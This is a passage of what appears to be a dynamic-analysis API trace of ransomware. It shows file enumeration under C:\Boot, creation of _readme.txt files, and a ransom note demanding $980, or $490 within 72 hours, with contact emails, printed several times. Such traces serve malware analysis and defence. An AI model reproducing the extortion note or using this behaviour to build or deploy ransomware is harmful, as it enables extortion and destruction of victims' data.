databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.790] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.790] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.790] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.790] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.790] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.791] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.791] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0111.791] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.791] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.791] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.791] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.791] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.791] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.793] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.793] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.794] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.794] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.795] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.795] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.795] PathFindFileNameW (pszPath="") returned="" [0111.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.795] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.796] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.796] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35dd0 [0111.796] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.796] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.796] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b162e0 [0111.796] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.796] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 